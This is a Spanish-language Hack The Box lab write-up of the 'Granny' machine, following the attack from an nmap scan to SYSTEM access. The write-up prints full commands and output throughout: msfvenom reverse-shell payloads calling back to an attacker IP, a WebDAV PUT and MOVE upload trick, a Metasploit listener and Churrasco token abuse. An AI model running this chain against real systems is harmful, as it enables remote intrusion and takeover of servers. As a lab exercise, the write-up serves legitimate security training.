Granny

Hack The Box — Metodología Detallada

Granny

IP:10.129.95.234
OS:Windows
Dificultad:Easy
Fecha:10 de julio de 2026

Reconocimiento

Escaneo inicial

Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.

# Comando ejecutado
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.129.95.234 -oG allPorts

# Output
PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 127

Se identificó un único puerto abierto, el puerto 80 (HTTP), siendo el servicio web el único vector de ataque disponible en esta máquina.

Hipótesis: se realizaró un escaneo de versiones del puerto para identificar el software exacto y determinar si presentaba vulnerabilidades conocidas.

PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 6.0
| http-webdav-scan:
|   Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE,
PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
|   Server Type: Microsoft-IIS/6.0
|   Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY,
MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
|   WebDAV type: Unknown
|_http-server-header: Microsoft-IIS/6.0
|_http-title: Under Construction
|_  Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND
PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Hallazgo: el servidor ejecuta Microsoft IIS 6.0 con WebDAV habilitado. Los métodos HTTP expuestos sin autenticación incluyen PUT (subida de archivos) y MOVE (renombrar archivos). Esta combinación permite subir un archivo con una extensión permitida y luego renombrarlo a una extensión ejecutable para obtener RCE.

Se identificó el framework de la aplicación web para determinar qué tipo de archivo puede ejecutar el servidor:

curl -I http://10.129.95.234

X-Powered-By: ASP.NET

Al confirmar que el framework es ASP.NET, se determinó que el servidor puede ejecutar archivos .aspx y .asp. Esta información es crítica para el vector de explotación: permite saber a qué extensión renombrar el payload después de subirlo.

Página principal del servidor IIS 6.0

Explotación

Generación del payload y subida por WebDAV

Se generó un payload ASPX con msfvenom. Dado que el servidor bloquea la subida directa de archivos .aspx vía PUT, se subió con extensión .txt y luego se renombró con el método MOVE:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.15.163 LPORT=4444
-f aspx -o shell.aspx

# Subir con extension .txt para evitar el bloqueo de IIS:
curl -X PUT http://10.129.95.234/shell.txt --data-binary @shell.aspx

# Renombrar a .aspx con el metodo MOVE:
curl -X MOVE http://10.129.95.234/shell.txt -H "Destination: http://10.129.95.234/shell.aspx"

Ninguno de los dos comandos devolvió error, confirmando que la subida y el renombrado fueron exitosos.

Obtención de Meterpreter

Se preparó el listener en Metasploit y se ejecutó el payload accediendo al archivo desde el navegador:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.15.163
set LPORT 4444
run

curl http://10.129.95.234/shell.aspx

[*] Sending stage (199238 bytes) to 10.129.95.234
[*] Meterpreter session 1 opened (10.10.15.163:4444 -> 10.129.95.234:1030)

meterpreter > getuid
Server username: NT AUTHORITY\NETWORK SERVICE

meterpreter > getprivs

Enabled Process Privileges
==========================
SeAssignPrimaryTokenPrivilege
SeAuditPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeImpersonatePrivilege
SeIncreaseQuotaPrivilege

Hallazgo: se obtuvo sesion de Meterpreter como NT AUTHORITY\NETWORK SERVICE con el privilegio SeImpersonatePrivilege habilitado. Antes de intentar la escalada se verificó la arquitectura y versión del sistema para seleccionar la herramienta correcta:

c:\windows\system32\inetsrv> echo %PROCESSOR_ARCHITECTURE%
x86

c:\windows\system32\inetsrv> systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
OS Name:    Microsoft(R) Windows(R) Server 2003, Standard Edition
OS Version: 5.2.3790 Service Pack 2 Build 3790

Observación: el sistema es Windows Server 2003 x86. La cuenta NETWORK SERVICE y la arquitectura x86 determinan la herramienta de escalada: Churrasco, que es específico para Windows 2003/XP y requiere que el proceso corra como NETWORK SERVICE — exactamente el caso de esta máquina.

Escalada de Privilegios

Preparación de herramientas

Se generó un segundo payload x86 para recibir la shell privilegiada y se subieron ambas herramientas:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.15.163 LPORT=5555
-f exe -o shell2.exe

meterpreter > upload churrasco.exe C:\\Windows\\Temp\\churrasco.exe
meterpreter > upload shell2.exe C:\\Windows\\Temp\\shell2.exe

Escalada con Churrasco

Con el segundo listener activo en el puerto 5555, se ejecutó Churrasco desde la shell:

meterpreter > shell

c:\windows\system32\inetsrv> C:\Windows\Temp\churrasco.exe -d "C:\Windows\Temp\shell2.exe"

/churrasco/--> Current User: NETWORK SERVICE
/churrasco/--> Getting Rpcss PID ...
/churrasco/--> Found Rpcss PID: 668
/churrasco/--> Found SYSTEM token 0x72c
/churrasco/--> Running command with SYSTEM Token...
/churrasco/--> Done, command should have ran as SYSTEM!

meterpreter > shell

C:\DOCUME~1\NETWOR~1\LOCALS~1\Temp> whoami
nt authority\system

Observación: en Windows Server 2003 el directorio de usuarios es Documents and Settings (abreviado como DOCUME~1) en lugar de Users como en versiones modernas de Windows.

Reflexión Final

Qué salió bien

Qué salió mal o costó más

Lecciones aprendidas

Tiempo total

Tiempo total invertido en la resolución de la máquina: aproximadamente 50 Minutos.